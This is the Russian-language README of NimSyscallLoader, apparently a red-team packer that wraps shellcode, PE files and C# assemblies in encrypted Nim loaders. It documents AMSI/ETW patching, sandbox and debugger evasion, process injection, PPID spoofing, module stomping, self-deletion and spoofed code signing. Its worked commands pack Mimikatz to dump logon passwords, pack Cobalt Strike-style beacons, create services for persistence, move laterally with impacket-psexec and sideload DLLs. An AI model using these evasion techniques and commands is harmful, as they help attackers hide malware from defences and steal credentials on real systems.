
Упаковывает сборки C#, PE-файлы или shellcode в зашифрованные Nim-бинарные файлы с расширенными функциями обхода, включая обход AMSI/ETW, обнаружение песочницы и множественные техники внедрения для операций red team.
Этот инструмент был опубликован после выступления на x33fcon. Он был моим основным личным проектом по программированию с 2021 по 2024 год и теперь считается устаревшим и больше не поддерживается. Не ждите исправлений ошибок или обновлений функций с моей стороны. Вместо этого сейчас поддерживается RustPack — коммерческая и контролируемая версия для проверенных команд Red Team и пентестеров, которая обладает ещё большим функционалом, но при этом гораздо безопаснее с точки зрения OPSec.
Этот упаковщик можно использовать для упаковки любой C# сборки, PE-файла или shellcode в бинарный файл Nim. Он зашифрует целевой пэйлоад, сформирует соответствующий исходный код Nim в соответствии с заданными аргументами и скомпилирует его в бинарный файл Nim.
Видео — если вы предпочитаете такой формат — можно найти здесь: https://youtu.be/0PwIn3Nxmgo
Для корректной работы Nim/Nimble требуется установленный Git.
Протестировано с Nim 2.2.10 и набором MinGW-w64 GCC 11.1.0, ссылка на который есть на странице загрузки Nim для Windows. Новые версии Nim по умолчанию устанавливают высокий базовый адрес PE-образа в Windows, что ломает статические сборки с ошибкой relocation truncated to fit: R_X86_64_32S against .bss; теперь упаковщик принудительно использует -Wl,--image-base=0x10000, чтобы статические сборки работали, поэтому подойдёт любая сборка MinGW-w64 11.x. Поддерживается только x64 — x86/--x86/--wow64 не поддерживаются.
nim-2.2.10_x64.zipmingw64.7z (ссылка со страницы установки Nim для Windows)Expand-Archive Windows — он молча пропускает файл lib\system.nim из-за конфликта регистра в имени с папкой lib\system\). В архиве Nim есть bin\7zG.exe, с помощью которого можно распаковать MinGW.<nim>\bin и <mingw64>\bin в %PATH%. Выйдите из системы и войдите снова (или перезапустите оболочку), чтобы изменения вступили в силу.Версии, заведомо работающие (по состоянию на Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — у репозитория нет тегированных релизов).
Если вы хотите использовать LLVM-обфускатор в Windows, используйте встроенную модифицированную версию denim из denim. Установите её через denim\denim.exe setup.
Например, в Kali / Debian. Пакер исторически требовал nim 1.6.8 + mingw-64 8.0.0-1; с включённым теперь обходным путём статической компоновки --image-base=0x10000 должны работать и более новые цепочки инструментов. Сборка для Windows активно тестируется — Linux поддерживается по мере возможностей.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
Если `--hellsgate` не собирается на более новой mingw-w64, откатитесь до `mingw-64=8.0.0-1`.
Установите donut через `pip3 install donut-shellcode`. `denim` нельзя использовать из Unix, поэтому обфускация через LLVM здесь невозможна. То же самое для Callobfuscator.
Скомпилируйте Packer через `nim c -d:noRES NimSyscallLoader.nim`. Готово к использованию. Если не использовать -d:noRES, может возникнуть следующая ошибка:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
Требуется собрать один раз (первый раз занимает некоторое время, последующие сборки будут кэшироваться).
sudo docker build . -t nimsyscallloader
Затем запустите упаковщик с помощью:
sudo docker run -v $(pwd):/shared nimsyscallloader <АРГУМЕНТЫ> --output=/shared/packed.exe
где $(pwd) — это каталог на хост-системе, который предоставляется контейнеру, т.е. каталог, где должны находиться файлы для шифрования и куда будет сохранён результат.
Если вы хотите использовать сертификаты подписи кода через LimeLighter, вам также потребуется установить следующие компоненты и добавить их в %PATH%: openssl - (для Windows), например, отсюда osslsigncode - например, отсюда
Я не буду оказывать поддержку по проблемам в сторонних инструментах, которые здесь используются. Пожалуйста, открывайте issue в соответствующих репозиториях, если у вас возникли проблемы с ними. Используемые сторонние инструменты:
Вы можете использовать мои предварительно скомпилированные бинарники или, конечно, скомпилировать их самостоятельно по ссылкам выше.
Видео — если вы предпочитаете его — можно найти здесь: https://youtu.be/UHaIgdzqHDA
Я также добавил короткие видео для некоторых функций, так как это было запрошено:
Caro-Kann:
Функция ThreadlessInject:
Функция Module Stomping:
Функция shellcodeURL:
Функция stegoFile:
Функция shellcodeFile:
Ruy Lopez для локальных процессов
Формат вывода shellcode
Функция вывода на ассемблере
И я сделал публичное видео, демонстрирующее, как настроить технику ThreadlessInject для других процессов, отличных от стандартного:
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
По умолчанию Packer использует функции обхода SandBox и AntiDebug для каждой полезной нагрузки (Payload). Если вы не хотите, чтобы они были включены (например, для удаления их IoCs) или по любой другой причине, вы можете использовать флаги `--noAntidebug` или `--noDefaultSandBox`. Все остальные проверки SandBox из опций будут добавлены в дополнение к существующим, а не в качестве замены.
Все полезные нагрузки по умолчанию выполняются в области памяти `RX`. Некоторые полезные нагрузки не будут работать только с `READ_EXECUTE`. Чтобы вместо этого использовать `RWX`, вы можете включить это с помощью флага `--RWX`.
Кроме того, по умолчанию полезные нагрузки встраиваются в результирующий двоичный файл в виде зашифрованного массива. Это приводит к высокой энтропии и также может привести к обнаружению некоторыми поставщиками AV/EDR из-за этого. Я рекомендую вместо этого использовать `--shellcodeFile` или `--shellcodeURL`, чтобы получать полезную нагрузку из другого файла или веб-сервера во время выполнения. Это также приводит к обходу SandBox в качестве побочного эффекта. Например, при использовании:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
Если вы не торопитесь, я также рекомендую использовать опции `--sleep numberOfSeconds` и/или `--sleep-in-between numberOfSeconds` для любой нагрузки, так как это приведет к обходу сканирования памяти и/или обнаружения на основе поведения.
Чтобы упаковать Mimikatz, например, с анхукингом перед выполнением и без обхода AMSI, используйте следующее:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
Некоторые из вас сталкивались с проблемами при загрузке Mimikatz с помощью паковщика через аргументы "--file=Mimikatz --peload" для последующего выполнения пользовательских команд во время выполнения.
Я выяснил причину такого поведения. Не спрашивайте меня почему, но вы не можете просто взять релиз с Github, а должны скомпилировать Mimikatz самостоятельно (или собрать свою версию) и загрузить её вместо официального релиза. Также используйте --noAntidebug для Mimikatz, иначе это даёт странные результаты (не спрашивайте почему, другие PE загружаются нормально).
Если вы всё же хотите встроить релизную версию с Github, вы можете напрямую передать аргументы следующим образом:```batch Packedmimikatz.exe coffee exit
Вы также можете жестко закодировать аргументы для полезных нагрузок `--peload`, `--csharp` или `--peinject`, например, следующее изменит аргументы командной строки на `privilege::debug sekurlsa::logonpasswords exit`:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
Оболочка Donut обнаруживается некоторыми поставщиками AV/EDR. В качестве альтернативы для PE-Loading я модифицировал свой Nim-RunPE для использования Syscalls для PE-Loading и интегрировал его здесь:
Для упаковки Mimikatz, например, и загрузки через syscall PE-Loader используйте следующее:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
Для упаковки Shellcode для локальной инъекции:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
Чтобы загрузить shellcode в удаленный процесс:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
Для загрузки сборки C#:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
Для загрузки сборки C# с аргументами:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
Чтобы загрузить сборку C# и использовать hellsgate для Syscall retrieval:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
Чтобы упаковать Shellcode для локального внедрения + использование hellsgate + самоудаление + проверки песочницы:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
Чтобы добавить несколько тысяч английских слов для обхода обнаружений "машинного обучения":```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
Чтобы использовать Syswhispers3 с/без техники jumper_randomized:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump
Для кодирования shellcode с помощью sgn перед шифрованием:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
Чтобы запустить собственный процесс и затем внедриться в него + пропатчить AMSI/ETW в удаленном процессе:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
Чтобы сгенерировать DLL в качестве вывода вместо исполняемого файла, просто добавьте параметр `--dll`. Вы также можете определить пользовательские функции экспорта с помощью `--dllexportfunc Export1,ExportFunc2`. Эти пользовательские экспорты также можно использовать для DLL-сайдлоадинга.
Описание LLVM украдено с [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) - я сам это ещё не тестировал!
**ОПЦИОНАЛЬНО:** Чтобы использовать флаг [Obfuscator-LLVM](https://github.com/heroims/obfuscator), вы должны установить его в своей системе вместе с [wclang](https://github.com/tpoechtrager/wclang). Я обнаружил, что это немного проблематично, но вы сможете это сделать, проявив немного настойчивости. Вот пошаговая инструкция, которая сработала в моей системе Kali Linux:
1. Клонируйте нужную версию Obfuscator-LLVM и соберите её
2. После сборки сделайте резервную копию существующей версии clang и переместите новую версию clang от Obfuscator-LLVM в /usr/bin/
3. Установите wclang и добавьте его бинарные файлы в PATH
4. Сделайте резервную копию существующих библиотечных файлов clang, скопируйте новые собранные библиотечные включения Obfuscator-LLVM в /usr/lib/clang/OLD_VERSION/
Кроме того, вы должны добавить следующие строки в ваш файл `nim.cfg`, чтобы указать nim на ваши бинарные файлы wclang:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
Бинарные файлы служб не запускаются на лету. Они могут использоваться только для служб Windows. Итак, если вы компилируете бинарный файл службы с флагом --service, вам потребуется создать новую службу, указав местоположение этого бинарного файла. Это можно сделать, например, так:```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
Бинарные файлы Packer также могут быть использованы для impacket-psexec Горизонтальное перемещение:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
Сервисные DLL требуют дополнительных конфигураций. Вы можете прочитать следующий блог и потребуются некоторые изменения в реестре:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
Кроме того, значение `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` необходимо изменить, чтобы оно также содержало имя вашей службы.
Если при запуске службы вы получаете ERROR 1053, скорее всего, вы забыли последнюю запись.
### Обработка Golang-бинарных файлов с помощью Packer
Моя пользовательская реализация `Nim-RUNPE`, к сожалению, не может обрабатывать Golang-бинарные файлы на данный момент. Это какая-то странная ошибка в Nim, нужно будет когда-нибудь разобраться глубже. Определенно кроличья нора, уже потратил много времени.
На данный момент в качестве обходного решения вы можете использовать `--peinject --large`, чтобы сгенерировать shellcode из Golang-бинарного файла и выполнить его либо локально как исполняемый файл, либо как DLL.
Пример:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
Вам необходимо передавать жестко закодированные аргументы при использовании DLL, поскольку DLL от PEInject не принимают аргументы от целевого хоста. Удаленное внедрение также возможно, но аргументы не могут быть жестко закодированы здесь.
Defender в настоящее время обнаруживает упакованные Golang бинарники, скорее всего из-за очень ВЫСОКОЙ энтропии (большие полезные нагрузки, поэтому бинарник содержит 95% или более зашифрованного контента). Чтобы избежать этих обнаружений, используйте либо DLL, либо --pump с любым значением.
You can generate DLL-Sideloading capable Payloads with the flag --clone DLLName.
For example the following would generate a version.dll with the API Exports of the original Windows version.dll:```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
Это может быть использовано для различных легитимных подписанных бинарных файлов для подгрузки, таких как `OneDriveUpdater.exe`, `slllauncher.exe` и другие. Важно отметить несколько моментов, и вам следует самостоятельно позаботиться о них:
* Использование шеллкода с Exitfunction=Process, скорее всего, приведет к сбою хост-приложения.
* Использование локальной инжекции приведет к тому, что бинарный файл не запустится, так как DLL не завершит выполнение для C2-нагрузок.
* В настоящее время существует ошибка или проблема с C# нагрузками и подгрузкой Nim. Такие нагрузки просто не выполняются при локальном запуске (`--csharp` или `--peinject`), требуется исследование.
* Я не рекомендую использовать Nim DLL для подгрузки с Teams.exe — в некоторых случаях наблюдалось странное поведение с определенными DLL, и Teams часто переставал запускаться. К тому же сейчас это обнаруживается многими EDR-вендорами.
* ТЕСТИРУЙТЕ свои нагрузки перед использованием.
Уделите время поиску пользовательских бинарных файлов для подгрузки или используйте некоторые из известных задокументированных, например, из [https://hijacklibs.net/](https://hijacklibs.net/).
### Пользовательские изображения или метаданные
Если вы хотите использовать собственные иконки для исполняемых файлов загрузчика или пользовательские метаданные, измените файл `cmd.rc` в папке resources.
Его можно скомпилировать в файл `cmd.o` с помощью `windres cmd.rc -o cmd.o`. Вы также можете просто заменить файл `demo.ico` на любой другой ICO-файл, который хотите использовать.
Для метаданных DLL измените `DLL.rc`.
### Другие методы обнаружения энтропии или альтернативный обход песочницы
Некоторые вендоры, например ESET, помечают бинарные файлы/DLL из-за зашифрованной нагрузки, встроенной в бинарный файл в виде блоба с высокой энтропией. Такие обнаружения и/или проверки песочницы можно обойти с помощью флагов `--shellcodeFile` или `--shellcodeURL`, так как нагрузка в этом случае не встраивается в результирующий бинарный файл, а загружается из отдельного файла или с удаленного веб-сервера.
### ThreadlessInject — что нужно учесть
Если вы хотите использовать ThreadlessInject, вы должны понимать, что делаете. Так как эта техника перехватывает API в удаленном процессе, её необходимо настраивать для каждого другого удаленного процесса. Сначала нужно знать, какие API обычно вызываются удаленным процессом на регулярной основе, чтобы понять, что перехватывать. Вы можете, например, отслеживать это для распространенных процессов Windows с помощью [API Monitor](http://www.rohitab.com/apimonitor). Настройте перехват под ваш целевой процесс, иначе нагрузка не выполнится.
Значения по умолчанию подходят только для встроенной цели spawn/inject `rundll32.exe`, так как этот процесс регулярно вызывает `NtWaitForMultipleObjects` из `ntdll.dll`. Другие процессы также вызывают эту функцию, но рекомендуется настраивать параметры под ваш целевой процесс.
### Module Stomping — что нужно учесть
Module Stomping дает нам преимущество отсутствия необходимости выделять память для инжекции шеллкода, так как мы перезаписываем (часть) секции `.text` уже загруженной DLL. Если DLL еще не была загружена в удаленном целевом процессе, она сначала принудительно загружается через создание удаленного потока на `LoadLibrary` или, при использовании ThreadlessInject, через перехват, указывающий на пользовательский шеллкод LoadLibrary. По умолчанию для стампминга используется DLL `chakra.dll`, что в большинстве случаев подходит из-за ее размера. Однако вы можете изменить DLL через параметры Packer по своему усмотрению.
Чтобы избежать CFG, текущая реализация перезаписывает одну (или две при включенном Caro-Kann) точки входа DLL:
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
Если вы меняете DLL, вам также нужно изменить имена целевых функций, так как они могут отсутствовать в других DLL. Кроме того, это может быть проблемой, если:
1. В секции `.text` целевой DLL недостаточно места для вашего шеллкода.
2. Между двумя функциями в секции `.text` недостаточно места, так что первая перезаписывается второй.
Мой код не обрабатывает эти ситуации и в настоящее время не проверяет их. Поэтому перед использованием в продакшене вы должны проверить размеры и смещения, чтобы быть уверенными.
Также, возможно, для некоторых это очевидно, но серверы используют другие DLL, чем клиенты. Поэтому загрузчик/инструмент необходимо адаптировать при нацеливании на серверы.
Эта реализация Module Stomping **не** загружает DLL через `LoadLibraryEx` с флагом `DONT_RESOLVE_DLL_REFERENCES`. Это более нестабильный способ, но я всё равно реализовал его таким образом, чтобы избавиться от обнаружений EDR для конкретных IoC, связанных с использованием этого API.
Для получения дополнительной информации прочитайте эту статью в блоге:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
### Шифрование памяти
В настоящее время Packer имеет встроенные две техники шифрования памяти. Это `--fluctuate` для ShellcodeFluctuation или `--sleepycrypt` для SleepyCrypt.
ShellcodeFluctuation в настоящее время может использоваться только для C2-нагрузок, которые используют Win32 Sleep, так как он перехватывает эту функцию. В этом случае только шеллкод будет шифроваться в стеке каждый раз, когда имплант "засыпает".
SleepyCrypt шифрует не только шеллкод, но и весь PE-стек, то есть все его секции. Недостатком является то, что шифрование не зависит от вашего импланта и происходит с фиксированным временным интервалом, например, 10 секунд шифрования и 1 секунда выполнения. Это может привести к проблемам с выполнением для некоторых C2-фреймворков.
### Почему мой MSF или CobaltStrike или XxX всё ещё обнаруживаются?
Прочитайте это:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## Известные ошибки
- Использование `--hellsgate` в Linux-системах с новой версией mingw-gcc приведет к ошибке компиляции.
- Компилируйте Packer на Linux/Debian с флагом `-d:noRES`, чтобы избежать ошибок компилятора.
- Комбинация `--syswhispers --jump` с `--peload` приводит к сбою. На данный момент я могу только рекомендовать не использовать эту опцию, так как не знаю, откуда берется этот побочный эффект.
- `--obfuscate` плохо обрабатывает ASM-заглушки и поэтому не может компилировать бинарные файлы с `--hellsgate` или `--syswhispers`.
- XP/WS2k3 будут работать только с флагами `--syswhispers --noAntidebug --noDInvoke`.
- `--x86` / `--wow64` больше не поддерживается и в настоящее время сломано в комплектуемой (не мультилибовой) цепочке инструментов MinGW-w64. Используйте x64-сборки.
- Более новые линковщики MinGW-w64 (11+) по умолчанию используют высокий базовый адрес PE-образа, что ломает статические ссылки (`-static`) с ошибкой `relocation truncated to fit: R_X86_64_32S against .bss`. Packer теперь передает флаг `-Wl,--image-base=0x10000` в команду компиляции сгенерированного загрузчика, чтобы обойти это. Если вы собираете standalone Nim+статический бинарный файл с этим стеком, вам может понадобиться тот же флаг.
## ЗАДАЧИ НА ВЫПОЛНЕНИЕ
- [x] PELoader через syscalls
- [x] Поддержка Hellsgate
- [X] Загрузка только необходимых библиотек Winim
- [x] Удаленный патч AMSI/ETW на основе [SnD_AMSI](https://github.com/whydee86/SnD_AMSI)
- [X] Использование Syscalls для удаленного патча
- [X] Удаленная загрузка "патчимой" DLL (ntdll или amsi.dll) в удаленный процесс перед патчем (иначе это нам не поможет)
- [x] Поддержка Hellsgate для удаленной инжекции шеллкода + PELoading
- [X] Вывод DLL
